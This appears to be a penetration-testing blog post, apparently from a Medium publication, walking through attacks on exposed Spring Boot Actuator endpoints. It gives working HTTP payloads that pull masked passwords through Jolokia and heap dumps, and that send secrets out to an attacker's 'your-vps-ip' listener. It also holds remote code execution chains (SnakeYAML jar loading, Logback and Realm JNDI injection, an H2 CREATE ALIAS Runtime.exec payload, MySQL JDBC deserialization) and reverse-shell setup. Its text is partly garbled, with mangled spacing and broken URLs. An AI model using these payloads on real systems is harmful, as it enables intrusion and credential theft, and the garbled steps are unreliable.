Introduction to Spring Boot Related Vulnerabilities

Routing Knowledge

  • The root path of the default built-in routing in Spring Boot 1. x version /starts, and in 2. x, it /actuator starts with.
  • Some programmers will customize /manage, /managementor the project -related name is the root path
  • The default built-in route name, such as /envSometimes it will be modified by the programmer, such as modified to/appenv

Version Knowledge

Version Interdependencies of Common Components:

Information Leakage

Leakage of routing address and interface call details

  • When the development environment was switched to the online production environment, the relevant personnel did not change the configuration file or forgot to switch the configuration environment, resulting in this vulnerability

Route Exposed by Improper Configuration

  • Mainly because programmers did not realize that exposing routing may cause security risks when developing, or did not develop in accordance with standard procedures, and forgot to modify/switch the configuration of the production environment when going online

/env,/actuator/env

  • GET requests /env will leak environment variable information or some usernames in the configuration. When the programmer’s attribute names are not standardized (for example, the password is written as passwords, PWD), the plaintext of the password will be leaked.
  • At the same time, there is a certain probability that some attributes can be set through the POST request /env interface to trigger related RCE vulnerabilities.

/Jolokia

  • Find exploitable MBeans through the /jolokia/list interface to trigger related RCE vulnerabilities;

/trace

  • Some http request packets access tracking information, it is possible to find valid cookie information

Obtain the Plaintext of the Password Desensitized by the Asterisk (method 1)

  • When accessing the /env interface, the spring actuator will replace the attribute values ​​corresponding to some attribute names with sensitive keywords (such as password, secret) with * to achieve the effect of desensitization
  • target website exists /jolokiaor /actuator/jolokiainterface.
  • The target uses Jolokia-core dependencies (version requirements are currently unknown)
  • GET requests the /envor /actuator/envinterface of the target website, search for ******keywords, and find the attribute name corresponding to the attribute value masked by the asterisk * to be obtained.
  • security.user.password Replace in the following example with the actual property name to be obtained, and send the packet directly; the result of the plaintext value is included in the value key in the response packet.
POST /jolokiaContent-Type: application/json{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
POST /actuator/jolokiaContent-Type: application/json{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
  • Call org.springframework.cloud.context.environmentMbean ( requires spring cloud related dependencies )
  • In fact, it calls the getProperty method of the org.springframework.cloud.context.environment.EnvironmentManager class instance
POST /jolokiaContent-Type: application/json{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
POST /actuator/jolokiaContent-Type: application/json{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

Obtain the Plaintext of the Password Desensitized by the Asterisk (method 2)

  • GET request to the target website/env
  • can POST requests to the target website/env
  • You can POST request the /refreshinterface refresh the configuration ( spring-boot-starter-actuatordependency exists)
  • The target uses a spring-cloud-starter-netflix-eureka-clientdependency.
  • The target can request the attacker’s server (the request can go out of the Internet)
  • GET requests the /envor /actuator/envinterface of the target website, search for ******keywords, and find the attribute name corresponding to the attribute value masked by the asterisk * to be obtained.
  • Listen to port 80 on the external network server controlled by yourself:
nc -lvk 80
POST /env
Content-Type: application/x-www-form-urlencoded
eureka .client .serviceUrl .defaultZone =http: //value:${security.user.password}@your-vps-ip
POST /actuator/env
Content- Type : application/json
{ "name" : "eureka.client.serviceUrl.defaultZone" , "value" : " http :// value : ${security.user.password} @your-vps-ip" }
POST /refresh
Content - Type : application/x- www- form - urlencoded
POST /actuator/ refresh
Content- Type: application/json
Authorization: Basic dmFsdWU6MTIzNDU2

Obtain the Plaintext of the Password Desensitized by the Asterisk (method 3)

  • /envTrigger the target to initiate any http request to the specified address on the external network by setting the attribute through POST
  • The target can request the attacker’s server (the request can go out of the Internet)
  • Referring to issue-1 proposed by UUUUnotfound, you can use placeholders to bring out data in the URL path when the target sends an external http request
  • GET requests the /envor /actuator/envinterface of the target website, search for ******keywords, and find the attribute name corresponding to the attribute value masked by the asterisk * to be obtained.
  • Listen to port 80 on the external network server controlled by yourself:
nc -lvk 80
POST /env 
Content-Type: application/x-www-form-urlencoded eureka .client .serviceUrl .defaultZone =http: //your-vps-ip/${security.user.password}
POST /actuator/envContent-Type: application/json{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
  • eureka.client.serviceUrl.defaultZone Method ( not applicable when there are special URL characters in plaintext data):
POST /env
Content-Type: application/x-www-form-urlencodedeureka .client .serviceUrl .defaultZone =http: //your-vps-ip/${security.user.password}
POST /actuator/envContent-Type: application/json{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
POST /refresh
Content - Type : application/x- www- form - urlencoded
POST /actuator/ refresh
Content- Type: application/json

Obtain the Plaintext of the Password Desensitized by the Asterisk (method 4)

  • When accessing the /env interface, the spring actuator will replace the attribute values ​​corresponding to some attribute names with sensitive keywords (such as password, secret) with * to achieve the effect of desensitization
  • Normal GET request-target /heapdumpor /actuator/heapdumpinterface
  • GET requests the /envor /actuator/envinterface of the target website, search for ******keywords, and find the attribute name corresponding to the attribute value masked by the asterisk * to be obtained.
  • The size of the downloaded heap dump file is usually between 50M and 500M, and sometimes it may be larger than 2G
  • GET Request the target’s /heapdumpor /actuator/heapdumpinterface to download the application’s real-time JVM heap information
  • Refer to the article method, use the OQL statement of the Eclipse Memory Analyzer select * from org.springframework.web.context.support.StandardServletEnvironment tool to assist in fast filtering and analysis, and obtain the password plaintext

Remote Code Execution

White Label Error Page SpEL RCE

  • For example, if a visit is found /article?id=xxx, the page will report an error with a status code of 500: Whitelabel Error Page and subsequent payloads will be tried at the parameter id.
  • Enter /article?id=${7*7}, if it is found that the error page calculates the value 49 of 7*7 and displays it on the error page, then it can be basically determined that the target has a SpEL expression injection vulnerability.
# coding: utf-8

result = ""
target = 'open -a Calculator'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip( ',' ))
  • spring-boot processing parameter value error, the process enters the org.springframework.util.PropertyPlaceholderHelperclass
  • At this point, the parameter value in the URL will be recursively parsed with the parseStringValuemethod
  • ${} The content enclosed in it will be parsed and executed by org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfigurationthe resolvePlaceholdermethod as a SpEL expression, resulting in an RCE vulnerability

Vulnerability Analysis:

http://127.0.0.1:9091/article?id=66 _

Spring Cloud SnakeYAML RCE

  • You can POST requests to the /envinterface set properties
  • You can POST request the /refreshinterface refresh the configuration ( spring-boot-starter-actuatordependency exists)
  • spring-cloud-starter version of target dependency < 1.3.0.RELEASE
  • The target can request the attacker’s HTTP server (the request can go out of the Internet)
# Use python to quickly start the http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80
!! javax.script.ScriptEngineManager [
!! java.net.URLClassLoader [[
!! java.net.URL [ " http : //your-vps-ip/example.jar " ] _ _ _ _ _ _
]]
]
POST /env
Content - Type : application/x- www- form - urlencoded
spring.cloud.bootstrap.location =http : //your-vps-ip/example.yml
POST /actuator/ env 
Content- Type: application/json
{ "name" : "spring.cloud.bootstrap.location" , " value" : " http : //your-vps-ip/example.yml"}
POST /refresh
Content - Type : application/x- www- form - urlencoded
POST /actuator/ refresh
Content- Type: application/json

Vulnerability Principle:

  • The spring.cloud.bootstrap.location property is set to the URL address of the external malicious yml file
  • refresh triggers the target machine to request the yml file on the remote HTTP server and get its content
  • SnakeYAML has a deserialization vulnerability, so it will complete the specified action when parsing malicious yml content
  • First, trigger java.net.URL to pull the malicious jar file on the remote HTTP server
  • Then look for the class in the jar file that implements the javax.script.ScriptEngineFactory interface and instantiate it
  • Execute malicious code when instantiating a class, causing RCE vulnerability
http://127.0.0.1:9092/env _

Eureka XStream Deserialization RCE

Conditions of use:

  • You can POST requests to the /envinterface set properties
  • You can POST request the /refreshinterface refresh the configuration ( spring-boot-starter-actuatordependency exists)
  • eureka-client< spring-cloud-starter-Netflix-eureka-client1.8.7 used by the target (usually included in dependencies)
  • The target can request the attacker’s HTTP server (the request can go out of the Internet)
  • Provide an example of a python script that relies on Flask and meets the requirements, and uses the python that comes with the target Linux machine to bounce the shell.
  • Use python to run the above script on the server you control, and modify the ip address and port number of the rebound shell in the script according to the actual situation.
  • Generally, use nc to listen to the port and wait for the rebound shell
nc -lvp 443
POST /env
Content-Type: application/x-www-form-urlencoded
eureka .client .serviceUrl .defaultZone =http: //your-vps-ip/example
POST /actuator/ env 
Content- Type: application/json
{ "name" : "eureka.client.serviceUrl.defaultZone" , "value" : " http :// your - vps - ip / example " }
POST /refresh
Content - Type : application/x- www- form - urlencoded
POST /actuator/ refresh
Content- Type: application/json

Vulnerability Principle:

  • The eureka.client.serviceUrl.defaultZone property is set to the malicious external eureka server URL address
  • refresh triggers the target machine to request a remote URL, and the fake eureka server set up in advance will return a malicious payload
  • The target machine is dependent on parsing the payload, triggering XStream deserialization, resulting in RCE vulnerability
http://127.0.0.1:9093/env _

Jolokia Logback JNDI RCE

  • Target website exists /jolokiaor /actuator/jolokiainterface
  • The target uses jolokia-core dependencies (version requirements are currently unknown) and related MBeans exist in the environment
  • The target can request the attacker’s HTTP server (the request can go out of the Internet)
  • JNDI injection is affected by the target JDK version, JDK < 6u201/7u191/8u182/11.0.1 (LDAP method)
  • Visit the /jolokia/listinterface to see if the ch.qos.logback.classic.jmx.JMXConfiguratorand reloadByURLkeywords exist.
  • Open a simple HTTP server on the VPS machine you control, and try to use common HTTP service ports (80, 443)
# Use python to quickly start the http server python2 -m SimpleHTTPServer 80 
python3 -m http.server 80
< configuration >
< insertFromJNDI env-entry-name = "ldap://your-vps-ip:1389/JNDIObject" as = "appName" />
</ configuration >
javac - source 1.5 -target 1.5 JNDIObject.java
nc -lv 443
  • If the target successfully requests example.xml and marshalsec also receives the target request, but the target does not request JNDIObject.class, the high probability is that the JDK version of the target environment is too high, resulting in the failure of JNDI utilization.

Vulnerability Principle:

  • Directly accessing the URL that can trigger the vulnerability is equivalent to calling the method of the ch.qos.logback.classic.jmx.JMXConfiguratorclass through jolokiareloadByURL
  • The target machine requests the URL address of the external log configuration file to obtain the content of the malicious xml file.
  • The target machine uses saxParser.parse to parse the xml file (this leads to the xxe vulnerability)
  • The external JNDI server address is set using the dependent tag in the logbackxml fileinsertFormJNDI
  • The target machine requests a malicious JNDI server, resulting in JNDI injection and RCE vulnerability

Vulnerability Analysis:

http://127.0.0.1:9094/env _

Jolokia Realm JNDI RCE

  • Target website exists /jolokiaor /actuator/jolokiainterface
  • The target uses jolokia-coredependencies (version requirements are currently unknown) and related MBeans exist in the environment
  • The target can request the attacker’s server (the request can go out of the Internet)
  • JNDI injection is affected by the target JDK version, jdk < 6u141/7u131/8u121 (RMI way)
  • Visit the /jolokia/listinterface to see if the type=MBeanFactoryand createJNDIRealmkeywords exist.
# Use python to quickly start the http server python2 -m SimpleHTTPServer 80 
python3 -m http.server 80
nc -lvp 443

Vulnerability principle:

  • Use jolokia to call createJNDIRealm to create JNDIRealm
  • Set the connectionURL address to RMI Service URL
  • Set context factory to RegistryContextFactory
  • Stop Realm
  • Start Realm to trigger JNDI injection of specified RMI address, causing RCE vulnerability

Vulnerability Analysis:

http://127.0.0.1:9094/env _

h2 Database Query RCE

  • You can POST requests to the /envinterface set properties
  • You can restart the application by POST requesting the /restartinterface (there is a spring-boot-starter-actuator dependency)
  • Existing com.h2database.h2dependencies (version requirements are currently unknown)
  • The ‘T5’ method in the payload below needs to be renamed (such as T6) after each command is executed before it can be recreated and used, otherwise, the vulnerability will not be triggered when the application is restarted next time
POST /envContent-Type: application/x-www-form-urlencodedspring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');
POST /actuator/envContent-Type: application/json{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}

spring 1.x

POST /restart
Content-Type: application/x-www-form-urlencoded
POST /actuator/restart
Content-Type: application/json

Vulnerability Principle:

  • The spring.datasource.hikari.connection-test-query property is set to a malicious SQL statement that CREATE ALIAScreates a custom function
  • Its properties correspond to the connectionTestQuery configuration of the HikariCP database connection pool and define the SQL statement to be executed before a new database connection
  • restart restarts the application, a new database connection will be established
  • If the custom function in the SQL statement has not been executed, the custom function will be executed, resulting in RCE vulnerability

Vulnerability Analysis:

http://127.0.0.1:9096/actuator/env _ _ _ _ _ _ _ _

h2 Database Console JNDI RCE

  • Existing com.h2database.h2dependencies (version requirements are currently unknown)
  • Enable h2 console in spring configuration spring.h2.console.enabled=true
  • The target can request the attacker’s server (the request can go out of the Internet)
  • JNDI injection is affected by the target JDK version, jdk < 6u201/7u191/8u182/11.0.1 (LDAP method)
  • Directly access the target to open the default route of h2 console /h2-console, the target will jump to the page /h2-console/login.jsp?jsessionid=xxxxxxand record the actual jsessionid=xxxxxxvalue
javac - source 1.5 -target 1.5 JNDIObject.java
# Use python to quickly start the http server python2 -m SimpleHTTPServer 80 
python3 -m http.server 80
nc -lv 443
  • According to the actual situation, replace jsessionid=xxxxxx, and in the following data www.example.com ldap://your-vps-ip:1389/JNDIObject

Vulnerability Analysis:

http://127.0.0.1:9096/h2-console _

MySQL Jdbc Deserialization RCE

  • You can POST requests to the /envinterface set properties
  • You can POST request the /refreshinterface refresh the configuration ( spring-boot-starter-actuatordependency exists)
  • A MySQL-connector-javadependency
  • The target can request the attacker’s server (the request can go out of the Internet)
  • GET request /envor /actuator/env, search for mysql-connector-java keywords , and record its version number (5.x or 8.x);
  • Search and observe whether there are common deserialization gadget dependencies in environment variables, such as commons-collections, Jdk7u21, Jdk8u20etc.;
  • Search for the spring.datasource.urlkeyword and record its value value to facilitate subsequent recovery of its normal JDBC url value.
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
  • Modifying this property will temporarily make all the normal database services of the website unavailable, which will affect the business, please operate with caution!
POST /env
Content-Type: application/x-www-form-urlencoded
spring.datasource.url=corresponding property value
POST  /refreshContent-Type: application/x-www-form-urlencoded
POST /actuator/refresh
Content-Type: application/json
  • Try to access the known database query interface of the website, such as: /product/list, or find other ways to actively trigger the source website to perform database query, and then the vulnerability will be triggered
  • After the deserialization exploit is complete, use the method in step three to restore the original value spring.datasource.urlrecorded in step onevalue

Vulnerability principle:

  • The spring.datasource.url property is set to the external malicious MySQL JDBC URL address
  • refresh sets a new spring.datasource.url property value after refresh
  • When the website performs database queries and other operations, it will try to establish a new database connection using the malicious mysql jdbc url
  • The malicious MySQL server will then return the deserialized payload data at the appropriate stage of establishing the connection
  • The target-dependent MySQL-connector-java will deserialize the set gadget, resulting in an RCE vulnerability

Vulnerability Analysis:

  • You need to configure the spring.datasource.url, spring. datasource.username, spring.datasource.password in application.properties to ensure that you can connect to the MySQL database normally, otherwise, the program will report an error and exit when it starts.
http://127.0.0.1:9097/actuator/env _ _ _ _ _ _ _ _
http://127.0.0.1:9097/product/list _ _ _ _ _ _ _ _

--

--

Our mission is to get you into information security. We'll introduce you to penetration testing and Red Teaming. We cover network testing, Active Directory.

Love podcasts or audiobooks? Learn on the go with our new app.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
TutorialBoy

TutorialBoy

Our mission is to get you into information security. We'll introduce you to penetration testing and Red Teaming. We cover network testing, Active Directory.